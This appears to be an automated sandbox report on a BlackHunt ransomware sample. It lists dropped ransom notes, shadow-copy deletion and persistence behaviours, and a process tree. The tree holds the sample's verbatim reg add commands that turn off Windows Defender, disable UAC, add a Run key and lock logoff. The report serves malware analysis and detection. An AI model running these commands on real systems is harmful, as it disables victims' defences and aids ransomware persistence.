File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\skins\fonts\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Australia\Brisbane	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\dragHandle.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-impl_ja.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-coredump_zh_CN.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gd\LC_MESSAGES\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Damascus	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.provider.filetransfer.httpclient4.ssl_1.0.0.v20140827-1444.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.sdk.nl_zh_4.4.0.v20140623020002.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\extensions\VLSub.luac	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\SystemV\YST9	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk1.7.0_80\include\win32\bridge\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.rcp.product_5.5.0.165303\#BlackHunt_ReadMe.hta	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Manaus	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Anadyr	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\skins\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\bin\dtplugin\#BlackHunt_ReadMe.txt	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-keyring-fallback.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-awt.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\he\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Glace_Bay	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.mbeanbrowser_5.5.0.165303.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.metadata.nl_zh_4.4.0.v20140623020002.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_ja_4.4.0.v20140623020002.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jre7\lib\fonts\LucidaBrightItalic.ttf	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_glass_65_ffffff_1x400.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-cli_zh_CN.jar	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\af\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_Private.key	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\submission_history.gif	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\turnOffNotificationInTray.gif	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\sports_disc_mask.png	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2764	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1420	vssadmin.exe
2676	vssadmin.exe
2028	vssadmin.exe
1676	vssadmin.exe
2008	vssadmin.exe
2288	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2884	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1768	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
3060	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeRestorePrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeBackupPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeTakeOwnershipPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeAuditPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeSecurityPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeIncBasePriorityPrivilege	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Token: SeBackupPrivilege	1832	vssvc.exe
Token: SeRestorePrivilege	1832	vssvc.exe
Token: SeAuditPrivilege	1832	vssvc.exe
Token: SeBackupPrivilege	2800	wbengine.exe
Token: SeRestorePrivilege	2800	wbengine.exe
Token: SeSecurityPrivilege	2800	wbengine.exe
Token: SeSecurityPrivilege	2024	wevtutil.exe
Token: SeSecurityPrivilege	3428	wevtutil.exe
Token: SeBackupPrivilege	2024	wevtutil.exe
Token: SeBackupPrivilege	3428	wevtutil.exe
Token: SeSecurityPrivilege	3472	wevtutil.exe
Token: SeBackupPrivilege	3472	wevtutil.exe
Token: SeSecurityPrivilege	3288	wevtutil.exe
Token: SeBackupPrivilege	3288	wevtutil.exe
Token: SeSecurityPrivilege	3752	wevtutil.exe
Token: SeBackupPrivilege	3752	wevtutil.exe
Token: SeDebugPrivilege	2884	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2924 wrote to memory of 2060	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	29
PID 2924 wrote to memory of 2060	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	29
PID 2924 wrote to memory of 2060	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	29
PID 2924 wrote to memory of 2060	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	29
PID 2924 wrote to memory of 2560	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	31
PID 2924 wrote to memory of 2560	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	31
PID 2924 wrote to memory of 2560	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	31
PID 2924 wrote to memory of 2560	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	31
PID 2924 wrote to memory of 2844	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	32
PID 2924 wrote to memory of 2844	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	32
PID 2924 wrote to memory of 2844	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	32
PID 2924 wrote to memory of 2844	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	32
PID 2924 wrote to memory of 2676	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 2060 wrote to memory of 2660	2060	cmd.exe	35
PID 2060 wrote to memory of 2660	2060	cmd.exe	35
PID 2924 wrote to memory of 2676	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 2060 wrote to memory of 2660	2060	cmd.exe	35
PID 2924 wrote to memory of 2676	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 2924 wrote to memory of 2676	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	148
PID 2924 wrote to memory of 2940	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	38
PID 2924 wrote to memory of 2940	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	38
PID 2924 wrote to memory of 2940	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	38
PID 2924 wrote to memory of 2940	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	38
PID 2924 wrote to memory of 2624	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	40
PID 2924 wrote to memory of 2624	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	40
PID 2924 wrote to memory of 2624	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	40
PID 2924 wrote to memory of 2624	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	40
PID 2844 wrote to memory of 2476	2844	cmd.exe	42
PID 2844 wrote to memory of 2476	2844	cmd.exe	42
PID 2844 wrote to memory of 2476	2844	cmd.exe	42
PID 2924 wrote to memory of 2928	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	43
PID 2924 wrote to memory of 2928	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	43
PID 2924 wrote to memory of 2928	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	43
PID 2924 wrote to memory of 2928	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	43
PID 2924 wrote to memory of 2784	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	44
PID 2924 wrote to memory of 2784	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	44
PID 2924 wrote to memory of 2784	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	44
PID 2924 wrote to memory of 2784	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	44
PID 2560 wrote to memory of 2628	2560	cmd.exe	45
PID 2560 wrote to memory of 2628	2560	cmd.exe	45
PID 2560 wrote to memory of 2628	2560	cmd.exe	45
PID 2924 wrote to memory of 2504	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	46
PID 2924 wrote to memory of 2504	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	46
PID 2924 wrote to memory of 2504	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	46
PID 2924 wrote to memory of 2504	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	46
PID 2924 wrote to memory of 2292	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	49
PID 2924 wrote to memory of 2292	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	49
PID 2924 wrote to memory of 2292	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	49
PID 2924 wrote to memory of 2292	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	49
PID 2676 wrote to memory of 2780	2676	vssadmin.exe	51
PID 2676 wrote to memory of 2780	2676	vssadmin.exe	51
PID 2676 wrote to memory of 2780	2676	vssadmin.exe	51
PID 2924 wrote to memory of 2580	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	50
PID 2924 wrote to memory of 2580	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	50
PID 2924 wrote to memory of 2580	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	50
PID 2924 wrote to memory of 2580	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	50
PID 2924 wrote to memory of 2768	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	53
PID 2924 wrote to memory of 2768	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	53
PID 2924 wrote to memory of 2768	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	53
PID 2924 wrote to memory of 2768	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	53
PID 2940 wrote to memory of 2464	2940	cmd.exe	54
PID 2940 wrote to memory of 2464	2940	cmd.exe	54
PID 2940 wrote to memory of 2464	2940	cmd.exe	54
PID 2924 wrote to memory of 2488	2924	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe
"C:\Users\Admin\AppData\Local\Temp\639e3cff14680d1a7b25773b32be3a7e2a96b779a7f3bfc3bdb7cbb5dd858784.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2060
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2136
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2580
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2532
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2856
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:3032
- - C:\Windows\system32\reg.exe
